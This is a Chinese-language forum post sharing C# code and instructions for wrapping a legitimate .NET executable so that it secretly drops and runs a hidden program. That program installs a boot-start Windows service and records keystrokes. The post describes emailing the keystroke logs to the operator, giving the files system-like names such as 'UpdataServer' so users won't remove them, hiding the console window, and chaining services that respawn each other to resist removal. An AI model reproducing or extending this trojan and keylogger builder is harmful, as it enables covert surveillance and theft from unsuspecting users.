作者: qiaoke_song
查看: 4417|回复: 1
打印 上一主题 下一主题

[源码] 【键鼠记录】C# 利用反射方法,修改.Net的exe文件

[复制链接]
跳转到指定楼层
楼主
查看: 4417|回复: 1
说明:
笨拙了点,但原理很简单,将一个.Net的exe文件,通过包装,运行的同时,执行其他任务。
static void Main(string[] Args)
{
       …………
//管理员模式运行Test
…………
string str_Normal = 正常程序的Base64的编码;
byte[] ns =Convert.FromBase64String(str_Normal);
Assembly asm_n =Assembly.Load(ns);
    MethodInfoinfo_n = asm_n.EntryPoint;
    ParameterInfo[]parameters_n = info_n.GetParameters();
info_n.Invoke(null, null);
}
public partial class Test : Form
{
    publicTest()
    {
       stringstr_Rep = 要执行的其他任务exe的Base64编码;
       //…写入硬盘
         ……………
       Processpr = new Process();
       //……指向exe文件;
      pr.Start();
       Close();
    }
}

在执行本例子前,先随意编写一个.Net的exe文件,在“被包装exe文件名”指向该文件,其中“监控执行检测间隔(秒):”设置大一些,因为监控程序随着服务开机启动,需windows启动成功后方可正常运行。“建立的服务名”、“服务文件路径和名称”、“监控文件路径和名称”为防止用户删除,放置在windows里面的一些文件夹内部,名字起得系统一些,比如“UpdataServer”等等,就是使用户不知道他是干嘛的,不会删除的那种。
本例子生成的exe文件,除了执行你编写的.Net的exe文件外,监控你设定的多个进程,记录键盘,并按照你设定的时间定时发送键盘记录到你设定的邮箱。
程序里执行的监控代码和安装服务代码为字符串形式,根据你填写的条件,并自动编译为临时文件,并生成包装后的C#代码,自动编译后输出exe文件。
执行该exe文件,看到的为你编写的.Net的exe文件效果,后台建立了开机启动的一个服务,并释放了一个监控exe文件,通过服务执行,并每次开机就执行服务来开启监控。
// 生成键盘监控exe文件
CodeDomProvider codeProvider =CodeDomProvider.CreateProvider("CSharp");
string Output = "MonitoringTmp.~exe";
CompilerParameters parameters = new CompilerParameters();
parameters.ReferencedAssemblies.Add("System.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll");
parameters.ReferencedAssemblies.Add("System.ServiceProcess.dll");
parameters.ReferencedAssemblies.Add("System.Drawing.dll");
parameters.ReferencedAssemblies.Add("System.Configuration.dll");
parameters.ReferencedAssemblies.Add("System.Configuration.Install.dll");
parameters.ReferencedAssemblies.Add("System.Runtime.InteropServices.dll");
parameters.ReferencedAssemblies.Add("System.Security.Principal.dll");
parameters.ReferencedAssemblies.Add("System.Threading.dll");
parameters.GenerateExecutable = true;
parameters.CompilerOptions = "-t:winexe";
parameters.OutputAssembly = Output;
CompilerResults results =codeProvider.CompileAssemblyFromSource(
parameters,Code_Source.Creat_RunApp(Code_Source.processName, Code_Source.MailSetup,Code_Source.SendSpear));
源码其中:Code_Source.cs文件里
public static string Creat_RunApp(string _process, string _email, string _sendspear)
为生成键盘监控的C#代码字符串
public static string Creat_Server(string _serverName,string _exefile, string _exepath, string _checkspear)
为生成windows服务的C#代码字符串
public static string Creat_Packing(string _server, string _pack,string _serverpath)
为生成包装exe的C#代码字符串,
通过CodeDomProvider进行编译生成。
注意:parameters.CompilerOptions = "-t:winexe";为生成窗体应用,不能为"-t:exe",否则会弹出cmd窗口。
如需对其他人编写的.Net的exe文件进行包装,需在与其相同的.Net版本重新编译下本程序,否则不能调用。
本例子只适用于.Net编写的exe文件,其他不适用。
如需对监控进行加固,变为用户不可删除,可以修改代码字符串,加入建立多个windows服务,并在监控程序内检测windows服务是否存在,并释放执行windows服务,在服务字符串代码内释放多个exe监控,形成多服务、多exe的相互检测、相互释放,这样用户除非重做系统,否则不能删除该监控,该功能只提供截图,不提供代码。
提供代码的只是建立单一服务、单一监控的,可以删除掉的代码。
windows服务的建立、删除看代码
public static string Creat_Server(string _serverName,string _exefile, string _exepath, string _checkspear)
中的public class ServiceHelper{}字符串。

效果图:

资源下载(不提供核心源码):

分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏 转播转播
回复 论坛版权

使用道具 举报

沙发
QW去 发表于 2018-12-3 09:28:07 | 只看该作者
感谢楼主分享
您需要登录后才可以回帖 登录 | 加入CSkin博客

本版积分规则

QQ|申请友链|小黑屋|手机版|Archiver|CSkin ( 粤ICP备13070794号

Powered by Discuz! X3.2  © 2001-2013 Comsenz Inc.  Designed by ARTERY.cn
GMT+8, 2024-4-23 17:33, Processed in 0.572870 second(s), 31 queries , Gzip On.

快速回复 返回顶部 返回列表